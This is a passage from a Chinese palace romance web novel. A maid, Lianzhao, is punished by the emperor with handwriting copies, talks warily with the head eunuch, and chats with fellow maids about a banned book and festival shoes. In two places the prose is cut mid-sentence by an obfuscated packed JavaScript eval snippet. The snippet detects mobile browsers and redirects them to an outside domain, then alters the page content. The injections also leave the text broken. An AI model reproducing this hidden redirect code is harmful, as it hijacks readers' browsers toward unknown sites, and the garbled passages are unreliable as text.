连朝并没有留神,只顾着用水润砚,填金的朱砂墨锭辉煌,渐渐在乌黑的砚台上化出残霞里的一张脸,她忖度着匀好量,原本想看皇帝写到何处,好抬锭让墨,目光才过去一半儿,将将看见折子半开,边上放着张澄心堂纸,上头寥落的十个字,“桐花”起头,还想看明白,忽然想起春知教过她御前的规矩,凡是御案之物,不可私窥,否则便是掉脑袋的大罪。她瞬间一激灵,将目光收回来,困意也没有了。 眼底的余光中看见皇帝的耳根,几乎错看成了砚台里的朱砂色。 连朝心里默念了一声阿弥陀佛。皇帝已熟稔地提起笔,将叠起的奏折平开,在上面勾画评批。 她便小心地记着,寅时二刻,阅览奏章。 那一笔一划,勉强算得上是工整。也足以见她是打起十二分精神,不敢有错。甚至用上一些提笔顿笔的技巧,譬如何时使力,何时提笔,以求尽美。这么一想,她昨日的种种行为,非但不能说有错,还应被赞为老实本分,不生二心,是个难得的忠仆。 皇帝提点她,“‘寅’字写错了。” 她果然认真地看,将眉头拧在一起,皇帝抽过她的纸,顺手用朱笔在她原先写的“寅”字上画了个圈,在旁重新写上一个。 皇帝原先瞧折子,写惯了行楷,如今亦学着她的模样,笔画端正地写小楷。先帝承父教,素来推崇董其昌的雍容,到了皇帝这里也如是。但此几笔,落得隽秀,仿佛可见其为人。 皇帝边写边说,“寅字中间的一竖,需要出头。你若有心,去细究它原来的意思,是自函中发矢,这一竖便代表箭身。‘正月阳气欲上出。如水泉欲上行也。’冬至时斗转为寅,乾元启运,就是新春。” 连朝只留心他的字,其余的听得一塌糊涂。字写得好看的人,她素来很欣赏。毕竟写字如同做人,因此道谢也殷勤,深感自己有所学,“谢主子爷教诲。” 皇帝很客气地说不谢,点了点刚写全的字,“抄一百遍。晚上交来。” 他话音刚落,她才浮起来的笑霎时凝在唇角,皇帝已然搁下笔,在众人的簇拥下,施施然往御门听政去了。 庆姐见她闷闷不乐,只顾着抓起笔杆子在窗下匆匆地写,好奇凑过去看。却见满满当当的一张纸上全是看不懂的字,庆姐不由低呼,“你在这里画什么符咒呢!” 连朝干脆放下笔,小心翼翼地吹了两下,见墨迹已干,才敢活动活动手腕子,忐忑地问,“很丑吗?” 庆姐点头,“你不会是拜了坤宁宫的萨满太太做师傅吧!” 连朝笑得比哭还难看,“我还不如跟着萨满太太去跳大神呢。” “这话可不能乱说,”庆姐见四周没有人,才敢仔细看她写的东西,一边伸出手,有样学样地在纸面上描画,露出艳羡的目光,“你是在写字吧?你居然识字,真好!不像我们,只知道说,不知道写——其实也会写,会写幺二三,往上面添几个横杠的事。” 连朝笑着说,“还不如不会写。” 庆姐也笑,“你这个人,看着老实本分,怎么成天脑子里都是些大逆不道的想法!你是真不把我当外人,你难道不知道,御前可是个香饽饽,紫禁城里多少人,挤破脑袋都没能来养心殿当差。” 真的很好吗? 也许是吧。 她知道既来之则安之,人很多时候都是不自觉被命数推着走,稀里糊涂地就走到这一步,回过头看看,发觉每一步的方向都算数。 庆姐没有注意她怅然若失的神色,伸出手跟着纸上的线条勾画,更顾不上什么笔顺,边画边问,“这个字念什么?是什么意思呀?” 连朝拉回心绪,带着她的手,完整地走了一遍笔顺,“这个字念寅。寅时的寅。” 庆姐说我知道,“白天和晚上交替的时候。唉!我玛玛以前跟我说,这个时辰最凶险。那些鬼啊怪啊,都得赶在天亮之前回去,所以我从不敢这时候睁眼,纵然醒了,也闭着眼。在宫里就更不用说了,当差多累,哪还有空去想这些事。” 连朝凝神一瞬,便听见外头的小宫女急匆匆在窗子外说话,“连姐姐,老主子来了,主子爷让你上跟前回话呢!找了一圈都找不见人,赵谙达要骂人了!” 太后正坐在炕上喝茶,过了春茶的时候,老太太不爱喝淡的,远没到修身养性的地步,平素最爱喝八宝擂茶,因此也没有多啜几口,便搁下盏子,“天儿热呀!” 皇帝不敢坐着,知道太后若是不开门见山,必然心里不痛快,因此垂手站在一旁,紧跟着赵有良并内殿伺候一干人都战战兢兢。赵有良往外头觑了好几眼,心里头火烧火燎,嘴上都生了个火泡。却见皇帝回话,“前些日子撤了冰,秋天还是燥得慌,儿子先前儿嘱咐寿膳房给您备一些润燥的川贝、秋梨,额捏进得香不香?” 太后愁眉苦脸的,“心里燥啊。夜里都睡不好!” 皇帝忙说,“儿子得了个安神方,马上让人抄了配好,给额捏孝敬去。” 太后连连摇头,抚着心口,“吃药啊,没用!心神心神,还是得靠养心养元。” 皇帝心里早就明白洞达,只等着人来。无奈人迟迟不来,给赵有良递了不知多少眼风,一面应承太后,也不知过了多久,才见一道娉婷身影越帘而来。 夏日竹帘未撤,紫禁城的秋天,晴光烂漫,照在漫地金砖上几乎能迷了人的眼。宫女惯常穿老绿色的衣袍。皇帝微微抬眼去看她,一头乌黑的辫子盘得齐整,五官浸在阳光里,豁然整个世界都亮起来。 连朝心里擂鼓,左思右想,委实不知自己犯了什么错。照旧只能循礼叩头泥手,恭恭敬敬,“奴才给太后娘娘请安,娘娘 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皇帝背脊挺直,素来人君仪态。此时声音朗然澄澈,如天边舒卷云埃,“寿康宫若是没有如额捏心意的,儿子再命人仔细去挑。圣母身边侍奉,须才德具备之人,方堪敬重。此人,太过狡猾,诡计多端,需要严加教导,还是儿子亲来,不敢惹额捏费神。” 太后兀自说,“皇帝日理万机,我却清闲。我来提点教导,皇帝还不放心么?” 皇帝笑道,“她能读书写字,是可造之材,不该消磨在闲书杂说里。儿子想让她在跟前,开拓眼界,历练品行。写些端正文章。儿子相信,她能写得更好。” 这些话不啻惊雷,闷声汹涌,挟云裹雨席卷而来。连朝甚至不敢去看,更无法思量皇帝说这番话,究竟是什么神情。只觉得眼前太平有象的栽绒地毯混滚在一起,在因为低头过久而目眩的间隙,眼前深浅不一的阴影,是纸面上横平竖直的“寅”。 她立时生出一股冷汗,整个人微不可见地颤了颤。 太后叹了口气,一贯慈眉善目,平和无波的老太太,难得露出几分惘然。她见皇帝似乎胸有成竹,思量片刻,不忍再多言,只就着乌嬷嬷的手起身,末了在连朝面前站了站,“皇帝忙着,我来一遭,心气宁了好些,这就走了。” 皇帝便道,“儿子恭送皇额捏。” 赵有良是个有眼力见的人,躬身去给太后打帘子,比个手势,养心殿里原先伺候的都纷纷鱼贯而出。偌大的东暖阁便剩下两个人,于此时才知道宫闱日长,阒静无声。 皇帝仿佛什么都没有发生过,随口说“起来”,走到御案后理折子去了。 连朝只得跟上,却不敢看他,安静站在一旁,听得皇帝问,“罚你的字,写完了么?” 连朝说没有,“写了五十遍,还差一半。” 皇帝递过一支笔给她,“写来朕看。” 她果真接过,提着腕袖,一笔一划认真又缓慢地在纸上写。皇帝见她笔迹生拙,便知道她又在装模作样地唱戏,却并不恼,耐下性子看她写完,“毫无长进。放任你去伺候太后,祸害的是整个后宫。” 连朝说,“能伺候老主子,是奴才的福气。” 皇帝挑眉,唇畔隐去笑,换过笔蘸了朱墨,打前儿的折子都是请安折,行云流水一套“知道了”三个字打发,似乎只是信然问去,“勉强可供打发时间,不可细看。回去也送一本到慈宁宫——不得有毁谤违制,牢骚抱怨,更不可信口开河。” 连朝塌下一张脸,“那奴才没东西敢交去慈宁了。” 皇帝板着脸说,“那就删改。你改不好,朕一个字一个字来改。知道写的东西不是,就收心养性,写些好的。” 她好半晌没说话,不知道是无话可说,还是心有怨恨。御前不回话又是一重罪过,皇帝漫不经心地批完五本请安折子,才拉缓了些语气,也不知问谁,“下一本,预备写什么?” 连朝说,“预备写青天万岁爷。” 皇帝嗤地一声,“但愿你别写成清汤万岁爷。” 连朝说哪儿能,“红汤的好吃一点。” 皇帝恨铁不成钢般摇摇头,“夏虫不可语冰。” 她只能小声,“清汤不可语红汤!” 皇帝问,“你嘀咕什么?” “奴才说万岁爷圣明!” 赵有良在外头听着,心上上下下起伏不知道几次,远见养心门上一道苍青色的身影转过影壁,简直如逢大赦,常泰领人去接,赵有良轻轻进殿,就站在帘子外头回话,“主子爷,淳贝勒来啦!” 8. 酉时八刻 淳贝勒的马蹄袖扫得响,一套甩袖做起来如行云流水,叩首给皇帝问安。皇帝展颜,似乎心情很好,叫一声“起来”,连朝在旁,跟着行了万福礼。 视线匆匆相对的间隙,淳贝勒脸上漾起笑来,年轻递等分府袭爵的宗室,少年人意气风发,遮掩不住。便感觉漫天的晴光泼洒而来,也并不为阻滞,是枝头青杏的欣然见成,中间隔着浩浩汤汤的岁月,化作清澈溪流,潺湲而过。 皇帝思觉敏锐,比手示意他炕上坐,淳贝勒连道不敢,皇帝便轻声说,“去里头搬一把杌子来给淳贝勒坐。” 身边侍候只她一人,自然是叫她。好在外头有支应,赵有良早已经先引步路,在随安室里带人搬一把来递给她。连朝便接过,走到西边炕下首,恭恭敬敬地将杌子放下,淳贝勒也回身朝她作揖,口道“有劳。” 连朝再度福身,“不敢。” 皇帝笑吟吟地看他们一揖一让,顾自在炕上安坐。淳贝勒也提袍款坐,连朝便不敢再久留,随众人一道磕头,慢慢地退出来了。 赵有良故意落后一步,等着宫人散尽,谈天似的说,“今儿天真好!” 这是给她套近乎,捏着嗓子讲话,听得人后脊背儿一阵发麻,好歹嘴上还挂着笑,勉强应和着,“是啊,托谙达的福。” 赵有良说,“怎么能托我的福呢?姑娘真是好折煞我。是托万岁爷的福。咱们全宫上下,都是托万岁爷的福。” 连朝照旧摆上笑,“谙达说得是。我又得谙达指教。” 赵有良连连摆手,“姑娘这话,是还记着头一夜您来养心殿,我嘱咐您的话呢!嗐,姑娘是个多敞亮的人,来御前当一天差,就很明白,御前真是一点规矩也错不得的地方。咱们都是提着脑袋做事,不谨慎些,怎么得了?” 连朝“嗳”了声,“我知道,我知道。多谢谙达肯教我,不然我指不定要犯多少错。我都记在心里,谢您都来不及。” 她顺势问,“里头刚来的是谁呀?” 赵有良不信她没听见,却愿意卖她个人情,“是恭勤郡王一脉,世袭递退一等,如今陪万岁爷听经筵的淳贝勒。姑娘没听过他?” 怎么会没听过呢。 连朝说,“略微听过。我十岁上跟着阿玛,一家人到京城来。我的玛玛在老荣亲王福金跟前常走动,我跟他总能碰见,三言不合两语的,胡闹着就长大了。” 赵有良慢慢敛了笑,“姑娘的话,失分寸了。” 连朝却还是笑着,“贝勒爷对家里有恩,家里人都天天感念,不敢忘怀。是我一下子高兴,说错话。谙达又救我一回。” 赵有良伸手指了指头顶的天,再看她,便万事不提,回身往内殿去。 天气很好,不同于慈宁花园常有的乌鸦,养心殿可以看见成阵的鸽群。扑棱着翅膀,红嘴的鸽子都知道回家的路。在耀眼的晴光下飞过一个朝暮,鸽哨声此起彼伏,像是她久久难以平缓的心跳。 晚间掌灯的时候,皇帝照例看她这一天的记录。 她便顺势将抄好一百遍的“寅”字恭敬奉上。皇帝一张张翻过去看,越到后面,笔画益显得无力,约莫是手酸之故。连带她进来时,眼底所蕴的微末疑色,早在纸页翻转之间,与烛影一同化散不见。 皇帝沉吟,“字写得很不好看,那些书上的字,也是你自己写的么?” 连朝说是,“奴才已经很久没有写过那些,奴才深刻反省自己错失所在,现在谨言慎行,所以手生。” 倒是会给自己找托辞。皇帝只是笑,随手一指,“去把炕桌上的书拿来。” 是《古文选》的一册。皇帝亲自给她列了汇要,“这都是朕素日反复读赏的好文章。你就从第一篇学起,‘读书破万卷,下笔如有神’,听过没有?要想写得好,须看些好文章。含英咀华,就是这个道理。” 她问,“《叹逝赋》之后的这个什么什么表,不用写吗?” 皇帝果真去看,那三个字落目,恰似夏热时分毫无根蒂的一场雨。皇帝极慢地垂下眼,说,“这个不好。” 她故意问,“被选进去的文章,还有不好的吗?” 皇帝没搭理她,似乎失缺兴致,半晌才说,“朕说不好,就是不好。” 满室寂静无声。殿中香炉里的香灰都坍塌,露出郁郁的猩红火光。龙涎香闻久了,吐息之间都是,这也许就是宫中老人常说的,“养心殿的精神”。来去匆匆衣惹御香,一任你走到哪里,都是闻得到的,是独一份的气派与响亮。 皇帝再不言语,挪到东边炕上看折子去了,让她在御案前写,赵有良冷不防进来看到,眼珠子都要跳出来。只好先亲自奉盏茶去,探探皇帝的心情,又不敢抬头,只见一只手执着笔,圈画批补,万岁爷的朱砂批文,却还写得纹丝不乱。 赵有良哀怨地看了连朝一眼,也给她添水,连朝忙搁下笔要起来道福,赵有良摆了摆手,皇帝却冷不丁道,“让她自己来。” 两个人对视,赵有良并不敢多话,皇帝却将批好的折子撂在一边,自己开了新的来看,随口吩咐边儿上的常泰,“换一盏更亮的灯。” 底下的人捧灯上来,原先摆置在炕桌上的宫灯要撤下去,皇帝说,“送到那边去。” 纸面上的字,显而易见地清楚了好些。 赵有良便趁皇帝使唤换灯的间隙,将水盂里的水添上。给连朝递去一个脸色,旁的再也不敢多言,领常泰一道,又站在帘子旁候着。 禁城里的夜,天越黑越早。好在风已经不似以前那么热,闻起来是爽利干燥的。这样的天气,人总容易生困、生倦。沉浸在纷沓的琐事里,偶一抬头,秋虫声动,眼前的烛火便昏花一片,往窗外看去,四野沉沉,高墙寂静相叠,如远山重重。 千年百年,秦的咸阳宫、汉的未央宫、唐的大明宫,天子所居曰宫。在漫长的不变里,消亡与接递并向而行。 皇帝不觉回头,迎面对上一双明亮的眼睛。他蓦然想起很多年前随阿玛在中正殿叩佛,佛祖慈悲平静的眼,菩萨低眉,晓得六道慈悲。 视线短暂交汇,像是宫灯因为风吹拂,在金砖上留下漫漶的残影。她复低下头,一笔一划,写得极其认真。仿佛方才根本就没有抬过眼睛。 皇帝默然良久,见她提笔,才问一声,“在写什么?” 她恰好写完,双手奉过去看。皇帝还没仔细看她写的什么,眉头先皱了一半,低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810047|158567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声说,“歪歪扭扭,成何体统!” 写的是陆士衡的《叹逝赋》。 ——悲夫!川阅水以成川,水滔滔而日度。世阅人而为世,人冉冉而行暮。 恰好有秋风吹进来,吹得满室萧条,两个人一站一坐,影子都被葳蕤的灯火拉得长,倒似疾风中的衰草。 皇帝沉沉地看了她一眼,眼底是遮掩不住的打量,帝王的目光如炬亦如鹰隼,好似想要将她看个透彻。 却最终移开目光,就着刚刚批完“知道了”的朱墨,在此句的旁边,极缓慢批上一行字。 ——童子莫对,垂头而睡。但闻四壁虫声唧唧,如助余之叹息。 她立时说,“奴才不是虫。奴才一心一意写字,并没有叫。”说话间觉得忿忿,也顾不上规矩,要去抽那张纸,皇帝眼疾手快,避开她的动作,率先在纸面上画了好几个圈,“这个,这个,还有这个,笔画都错了。照着写都能写错。一百遍,明日交来。” 她说,“写成了不就好了吗?” 皇帝也坦然,学着她的口气,“在跟前不就好了吗?” 她便没有说话。 皇帝只是定定地看向她,“非知无,不能知有。非知死,不能知生。” 一同面对过死亡带来的虚空,在吞噬一切的火光面前,生命它盛大又荒芜。唯一真实的就是眼前人紧握的手。 你与我同样地不会忘记,别人怎么能比。 赵有良此时恰好进来,起先还惴惴不安,想着今儿夜里又得打起精神伺候。猝然听了几句那连姑娘不怕死的话,打的哑迷跟闷葫芦似的,听不进一句,刚斟酌着要怎么劝一劝,却不料皇帝心情似乎回转,却见炕上端坐的皇帝,悄无声息地笑了出来。 尚寝的宫女进了暖阁,赵有良一干人等便退出来。赵有良等里头帘子彻底放下,才悠悠地叹了口气,面上还是笑着,转过身来,调子起得极为客气,“姑娘和万岁爷,有交情?” 连朝抱着一沓纸,如往常一半地笑,低垂着眉眼,端的是恭顺的模样,“谙达这是说的哪里话。普天之下,莫非王土。率土之滨,莫非王臣。照这么说,天下万民都跟万岁爷有交情。这不是折煞我,万岁爷可是君父,哪里敢论什么交情。” 赵有良也不乐意和她打马虎眼儿,肃了肃嗓子,压低声音一本正经,甚至带着些哀怨,“姑娘,你总是惹万岁爷不高兴,转晌又把怹老人家哄好了。万岁爷是什么人呐?姑娘做得轻而易举,拿着自己的命,好玩儿么?姑娘,我可给您说明白,咱们的命也是命。” 连朝笑了一下,“谙达说哪里话?我怎么听不懂呢。” 赵有良说,“天可高着呢!这是我第三回和姑娘说这样的话,但愿也是最后一回。天晴的时候,拿把扇子,扇扇风,耍个花儿,那是消遣,都不要紧。一旦天且阴了,扇子不合时宜,是会被嫌弃,撕了,扔了,没人搭理,擎等着哪儿凉快哪儿待着。姑娘知道不知道?” 她应了声,抱着笔墨淋漓的纸,似乎陷入沉思。 赵有良满心期待,以为自己总算把这位姑奶奶的心拧回来一点儿,谁成想她早打定主意,要一条道跑到黑,她说,“那我就做一把扇子吧。” 9. 戌初 她卸差回榻榻的时候,只有瑞儿在灯下做针线。瑞儿见她来了,到底还是不熟,手里拈的针欲放未放,连朝先笑着去倒了杯水,朝她比了比,“要喝水吗?” 瑞儿赧然地笑,起身接过,见她新来,柜子上都没什么东西,小声疑惑地问,“你不准备见家人的鞋吗?” 连朝就在桌旁坐,摇了摇头,“我先前不是御前的,我在慈宁花园。过节了,见家人的时间短,谁都想多见见,素来排不上我们。我已经两三年没见过家里人了。” 瑞儿感伤一回,“我原本很羡慕你们,不上值的日子,还能出宫去。现在想一想,各有各的好坏,谁也别羡慕谁。” 两个人之间陷入短暂的沉默,连朝很想与她们找些话来说,便问,“你在做鞋面吗?是预备过节允准见家人的时候送出去吗?” 瑞儿似乎被吓着了,连忙放下手里的家伙,先往四周看看,将榻榻里的窗子撑开,见四下里没人走动,才折回来,已经有些斥责的意味,“你在宫里这几年,嘴上也不省事吗?御前规矩极严,墙上都有眼睛和耳朵。御前是最忌讳私相授受的。为后宫的主子们传消息是不能,哪里敢把东西传到宫外去?要真被人发觉了,那可是要杀头的!” 连朝有一瞬间觉得闷人,明明是干爽的秋夜,总让人喘不过气来。感觉这四面墙都万分逼人。她让自己喝口水,勉强将心中的不痛快压下去,照旧是笑嘻嘻的模样,“我不过是随口一说,姐姐原谅我的不懂事吧!” 瑞儿看了她一阵,欲言又止的样子,并未再多说什么,自己闷闷地低下头去做针线了。 连朝只好去柜子里拿笔墨,将皇帝驳回来的纸摊在桌上,照着红字一笔一划地写,五个字为一行,一张纸也就够写十列。她心里乱,难以屏息凝神地写,写出来的字大多有气无力,如同桌案不远处放着的烛台上飘摇的火光。 秋夜寂静,偶有秋虫。提笔定神看东西看久了,人也跟着眼前发昏。觉得屋顶的寒霜似乎打了满地,于是起来活动一下筋骨,掀开帘子往门外站一站,兜头的一阵儿冷气扑过来,还没圆透的月亮像银珠似地滚落在地上,与细密的霜搅和在一起,只能看见老树稀疏的影子。 有两个人从廊子下来,是庆姐和双巧。庆姐拉着她的手就往屋里走,边走边说,“明儿是不想起啦?大晚上不在被窝里,杵在这儿受风?” 刚好壶里还有茶,双巧斟来,一人一杯,庆姐风风火火地喝完,抚着胸脯笑着说,“今儿的差,当得真是吉祥!主子爷高兴,居然说逢年过节的,中秋也是个大节日,要给我们看赏。我就卯起胆子问,万岁爷给咱们御前的都赏么?赏什么呀?你们猜猜万岁爷说什么?” 瑞儿很配合地问,“赏什么?一月的月钱?” 双巧好心说,“你就吃她的钓鱼饵吧!主子可没说赏什么,她在这里一路美滋滋高兴了半天。” 庆姐果然看见瑞儿在做针线,挨过去替她点针脚,“这儿可以试试用银线,绣出来的桂花在太阳下发光,谁敢看低你?保管你家里人脸上有面儿,在外头都夸你是一等一得面子的御前女官。” 瑞儿笑着啐她,“我呸,还女官呢。我哪儿有那么多的金丝银线,给姑姑送伙计,一个荷包就费完了,如今是再没有了。” 庆姐说,“我有呀!”便要去开柜子,“我还剩许多,你拿去用。用完了再还我,有借有还,再借才不难。” 双巧连忙起身去按她,“你哪儿有什么银线。银线都是定例,早用完了,我看你是记糊涂了,可别翻了!” 连朝很识趣地写她自己的字,这笔写得趁手,仿佛屏息凝神,对她们的交谈一无所知。庆姐只管开屉子,双巧去按她的手,两下里使力气不当,一本书“啪”地一声,摇摇摆摆地落在地上。满屋子人都愣住。 连朝这才僵硬地“呀”了一声,“怎么了?” 双巧侧身挡在她前边,庆姐捡起书,拍了拍,大大咧咧地说,“都住在一个屋子里,真被知道了,还能落下她不成。做什么遮遮掩掩,一点也不痛快。”说着绕过双巧,把书放在桌上,示意连朝,“你不会没看过吧?这可是好东西呢!” 封皮平平无奇,宫女们都有的花样子册的模样,连朝心里已经明白大半,掀开第一页,看见署名赫然“走地鸡”三个字时,眼前一黑,骤然回想起当时万岁爷拿着书盘问的情形,这种一口气堵在心口,上不来下不去的无力,她深深共情。 连朝把书合上,说知道,“我就是因为它,才被于总管带到养心殿来的。” 三个人面面相觑,瑞儿小声说,“你来的那天,是万岁爷捡了本书,带回来发了通脾气,我们才小心谨慎,不敢拿出来给人知道——万岁爷捡的书,是你的?” 连朝表情有些复杂,“也不能这么说,不是我故意扔一本书在怹老人家经过的地方,好让他捡。还要不要命了?姐姐们知道万岁爷打哪儿捡来的吗?” 双巧想了想,“没人说。那天下午主子午歇起来,就说要出门散散。我们还纳闷,主子日理万机,难不成下午不叫起?等赵谙达火急火燎地回来,才听说是主子盛怒,传内务府的要来查人呢。” 连朝不知怎么,左思右想,却苦笑了出来,“我也仔细想过这件事。这书的确是从我这儿出去的,但是传开来,好事的人有自己补的、抄的、甚至自己写的,那都与我无干,且都明白利害,不会摆明来传。就算有上值之余想看,不小心落在地上,一本书这样大的物件,至于没觉察么?” 她说, “就算这个人顶天的愚钝,她身边恰巧也没有姑姑或同僚,万岁爷上哪儿,我这几日看下来,前呼后拥,那是要清道的。宫里这么多眼睛、规矩,御前的心眼与规矩更是一等一的。这么一重重,一道道下来,愣是一个都没有看见,就咱们英明神武的万岁爷看见,捡着了,短时间内内务府的于总管办事无比得力,把我拎出来,上御前认罪来了?” 庆姐“哎呀”一声,扶着桌子就坐下了,“听你这么说,头头是道,万岁爷果真英明神武,别人没留神的,怹老人家火眼金睛,一下就给逮着了!要不怎么说是天子呢,比书里那些红了眼的皇上可好太多了!” 双巧横她一眼,有些无话可说,“你这么敬重,合该现在就去一趟又日新,在万岁爷的帐前表一表忠心。” 庆姐捂着脸直摇头,“那不行,可多羞人呐!” 双姐说,“你与我们坦诚,我们也没必要瞒着你。这书也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810048|158567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别人传来的,我们都是极小心在看,你来这几日也知道,要不是庆姐开柜子取线,我们是绝不会漏出去让你知道的。你放心我们,不干那损阴德的事,如今都见过这书,人也被提到养心殿来,还好好儿的,我觉得算是不幸中的万幸了。你若信我,我也劝你,这些话你自己心里想一想就得了,不要认死理陷在里面,成日想着是不是这个坑你,那个害你,身边就都是这种人了。” 连朝没料到她会直肠子与她说这些,连连点头,“知道了。我都知道,谢谢姐姐提点我。” 双巧把书推给她,“如今物归原主,你自己好好收着。但愿再没有这样的事,不然哪一日闹将起来,这屋子里,我们三个从没见过这本书。” 连朝“嗳”了声,“姐姐放心。往后这屋子里,再不会有什么御前严禁的杂书。” 庆姐嘀咕,“看本书怎么了……又不是只有咱们在看,不都在传吗?老主子不也在听吗?这么疾言厉色,不知道的,还以为你是万岁爷来这儿视察来……”被双巧瞪回去,便悻悻然找瑞儿商量鞋面该怎么混银线,“捻成一条,不就好了。” 双巧懒得再多费口舌,自己回榻榻上张罗被褥,连朝却再没有写字的心思,时常写个几笔,就出一回神。还是庆姐把她喊回来,顺口问她,“你的鞋子、花儿,准备好了吗?八月节可不远了!” 连朝有些茫然,“什么鞋子?” “见家人的时候穿的鞋子呀!你没看瑞儿在赶吗?她还算晚的,来,给你看看我的!” 庆姐从柜子里的包袱疙瘩里取出一双已经做好的新鞋,绛红色的缎面,密密匝匝绣满了花纹,间错排布金线蝙蝠捧寿,寿字的正中央还缀了一颗莹润的珍珠,在烛光下精致夺目。 庆姐说,“一年唯有几大节能鲜艳一回,这还是次要,得让阿玛讷讷知道,家里的妞妞儿进宫伺候主子,不是去吃苦的,是去挣风光和体面的。这珠子还是我费好大劲托人从外头捎带来的。你不知道,二十五岁放出去的姑姑们,可不愁嫁,还有被请到家里去教规矩,又富足,又体面,没人敢说半点闲话。” 连朝露出艳羡的目光,“这么厉害!” 一旁的双巧“嗤”了声,“你这一双鞋,比后宫里的主子们还要费工夫。只是主子们是擎等着做好了,伸脚来穿。你是熬几宿不睡,眼睛做瞎了才做这么一双,跟宝贝似的。” 庆姐嚷嚷道,“你这么能,一口一个万岁爷,一口一个主子们,我自己做来自己穿,哪里羞人?你觉得虚荣,改明儿等你有一天真做了主子,我给你缝!如今且歇歇性子吧,我的祖宗姑奶奶!” “懒得和你计较!” 连朝适时打圆场,“你这珠子,又圆,光彩又好。想必攒了不少赏吧。可惜我不知道有这样的福分,匆匆忙忙地来,现在要赶,应该来不及了。” 庆姐颇为同情,“多可怜见啊,这也是你入宫头一回能去见亲人吧。” 连朝似乎陷入沉思,眼底微微莹然,也不知是不是因为秋夜太过寂静,勾起旧人旧事而触动情肠,“挺久没见了。” 沉默了很久,一直在顾着凿针线的瑞儿却忽然开口说话,“你与我的尺码相近吗?这一双鞋,我送给你吧。” 10. 戌时二刻 夜风吹得秋草莎莎地响,一时之间榻榻里寂静,烛火把四个年轻姑娘的脸映照得红彤彤的,一样乌黑的头发,饱满的眉眼,连朝忽而觉得心头滚热,满口的话囫囵堵在喉咙里,却一个字也说不出来。 还是庆姐“嗐”了一声,“我忽然想起来去年见家人的时候,和我哥子吵了一架,今年谁要见他,打扮什么?我的鞋放着也是放着,平白无故费了心思,多可惜啊!给你穿吧。” 连朝这才醒过神,脸颊发烫,起身按下说不用,慢慢地说,“我是乍然被调到御前来的,不说规矩准不准,我听说每年允见家人都有名册,今年这样匆忙,我的名字应该不会落在上面,姐姐们的好意,我都领了,都记在心里。左右闲着也是闲着,我帮姐姐们做花儿,纳鞋子,甭小瞧我,在家里做姑娘的时候,手很巧呢。” 双巧冷笑着说,“你们舍己为人,义不容辞,我看了都要说句好!只想着把有的给别人,” 她屈起手指不争气地数,“一、二、三、四,统共四个人,这四个人是残了?瘸了?瞎了?还是手不能捻针穿线,眼不能看物待人?不过是一盒花儿,一双鞋,以前做丫头的时候,能给姑姑赶火做,现在就这么为难了?真不知道本事都长哪里去了!” 庆姐觉得她这话有道理,醍醐灌顶,说干就干,于是有人开柜子拿剪子,有人找鞋帮,有人描样子,这么忙起来,身上是热的,心头也是热的,连朝说我会做桂花,“交秋该戴绒的,我箱子里有线,我来做花儿。” 瑞儿赧然地笑,“我会缝鞋面,将将庆姐教我捻线,我来捻万字吧!” 也不知是不是动静大,惊动外头守夜的嬷嬷,清了清嗓子在廊柱子上敲了几响,“姑娘们,乌鸦都绕上树,不是说话的时辰,很该歇了。” 四个人面面相觑,骨碌碌眼珠儿一转,双巧率先吹灭了最靠门的那盏灯,应道,“嗳,姑姑。新来的夜里不熟路,我们把灯儿留一盏,擎等她咋咋呼呼,真不好叫您看笑话。” 嬷嬷不知听没听清,叽里咕噜自己说了一阵,声音已听不见了。 而连朝开包袱找东西,看见被归置得整整齐齐的笔墨、花样子、针线,眼前是榻榻里惯用的、已经合上的支窗,透出朦胧将圆的月亮。 她伸手抚上去,密密匝匝,让她觉得安心至极,不禁笑了出来。 年轻的姑娘就是好,昨儿缝补到三更,今天起身并不觉得累,看着笸箩里的鞋样子,还觉得有使不完的劲。 八月节临近,宫里四处都喜气洋洋的。一年到头,月亮一个月就圆一次,交秋的时候天高气爽,逢上月圆丰收,再往后走就是深冬了。秋收冬藏,养纳吐息,不就是这么个道理。 故而皇帝今日临案写的字是“致中和”,赵有良在一边候着,见皇帝提笔时颇为满意,紧绷着的精神都卸下好多。皇帝抬眼,见她平稳地从外头捧水盂进来添水,刚想说话,门头站着的常泰低声回,“主子,淳贝勒来了。” 皇帝“喔”一声,“叫他进来吧。”果见她去看铜漏记时辰,然后福身,极有规矩地退出去。 连朝甫出殿门,便见常泰侧过身,带淳贝勒入殿去。她也福身,算见过礼避让,听见帘子放下的声音欲走,却看见地上明晃晃地落着个香囊,香色平金绣兰桂齐芳的纹样,针工细密,单看穗子上的金银线,便知道源自宗室。 她迟疑片刻,还是提袍子弯腰,把香囊捡了起来。 “在愣什么神呢!” 双巧带着一溜宫女来进茶,远远地就瞧见她,将目光往她手里过一巡,笑道,“我正要找你,你现在没什么事?能不能劳烦你帮我走一遭。我柜子里第三格的抽屉,你拉开就能看见一叠花样子。今儿有人找我讨,我早上出门没精神,忘了,别看它轻巧,丢了闹起来还大呢。你要回去么?” 连朝也扬起笑,“要回去。我帮姐姐拿,回头送到茶水上,找谁给姐姐好?” 双巧想了想,脚下步子却不能停,已经弯腰要进殿,囫囵说,“再说吧!你先送去,我在最好,不在你报我的名。” 常泰已低声斥了句“姐姐。”双巧便再不能说话,给她个眼色,扭身进东暖阁去了。 连朝手里的荷包,拿也不是,不拿也不是。又记着双巧方才提点她的话,只好先揣在袖子里,匆匆往榻榻那头走。 